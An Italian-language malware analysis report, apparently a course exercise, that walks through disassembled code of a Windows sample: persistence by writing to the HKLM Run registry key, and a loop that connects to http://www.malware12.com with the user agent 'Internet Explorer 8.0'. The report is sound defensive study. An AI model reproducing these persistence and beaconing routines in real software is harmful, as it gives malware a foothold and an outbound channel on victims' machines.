

Report

Windows Malware

Riferendoci al seguente malware andremo a:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite;
- Identificare il client software utilizzato dal malware per la connessione ad Internet;
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi all'URL.

1. Persistenza del malware

Con il termine “persistenza” viene indicata l'esecuzione automatica del malware all'avvio del PC, senza dover effettuare la richiesta all'utente o all'amministratore di sistema. Attraverso questo meccanismo

Le funzioni evidenziate all'interno di questo malware sono:

- **RegOpenKeyEx:** questa funzione permette di aprire una chiave di registro al fine di modificarla. Essa accetta come parametri, tra gli altri, la chiave da aprire.
- **RegSetValueEx:** questa funzione permette invece di aggiungere un nuovo valore all'interno del registro e di settare i rispettivi dati. Accetta come parametri la chiave, la sottochiave e il dato da inserire.

Nel seguente caso, il malware accede al registro per poi poterlo modificare.

```

\040286F  push    2                ; samDesired
\0402871  push    eax              ; ulOptions
\0402872  push    offset SubKey    ; "Software\Microsoft\Windows\CurrentVersion\Run"
\0402877  push    HKEY_LOCAL_MACHINE ; hKey
\040287C  call    esi              ; RegOpenKeyExW
\040287E  test    eax, eax
\0402880  jnz     short loc_4028C5
\0402882
\0402882 loc_402882:
\0402882  lea     ecx, [esp+424h+Data]
\0402886  push    ecx              ; lpString
\0402887  mov     bl, 1
\0402889  call    ds:lstrlenW
\040288F  lea     edx, [eax+eax+2]
\0402893  push    edx              ; cbData
\0402894  mov     edx, [esp+428h+hKey]
\0402898  lea     eax, [esp+428h+Data]
\040289C  push    eax              ; lpData
\040289D  push    1                ; dwType
\040289F  push    0                ; Reserved
\04028A1  lea     ecx, [esp+434h+ValueName]
\04028A8  push    ecx              ; lpValueName
\04028A9  push    edx              ; hKey
\04028AA  call    ds:RegSetValueExW
```

2. Client server e connessione all'URL

Nella seconda parte del codice, attraverso il primo blocco di codice evidenziato, riusciamo a rintracciare il browser utilizzato dal malware per connettersi, ovvero "Internet Explorer 8.0".

Nel secondo blocco di codice invece individuiamo la connessione al dominio

<http://www.malware12.com>.

```

text:00401150 : ::::::::::::::: S U B R O U T I N E :::::::::::::::
text:00401150
text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
text:00401150 StartAddress proc near ; DATA XREF: sub_401040+ECTo
text:00401151 push esi
text:00401151 push edi
text:00401152 push 0 ; dwFlags
text:00401154 push 0 ; lpszProxyBypass
text:00401156 push 0 ; lpszProxy
text:00401158 push 0 ; dwCookieType
text:0040115A push offset szAgent ; "Internet Explorer 8.0"
text:0040115F call ds:InternetOpenA
text:00401165 mov edi, ds:InternetOpenUrlA
text:00401168 mov esi, eax
text:0040116D loc_40116D: ; CODE XREF: StartAddress+30j
text:0040116D push 0 ; dwContext
text:0040116F push 80000000h ; dwFlags
text:00401174 push 0 ; dwHeadersLength
text:00401176 push 0 ; lpszHeaders
text:00401178 push offset szUrl ; "http://www.malware12.com"
text:0040117D push esi ; hInternet
text:0040117E call edi ; InternetOpenUrlA
text:00401180 jmp short loc_40116D
text:00401180 StartAddress endp
text:00401180

```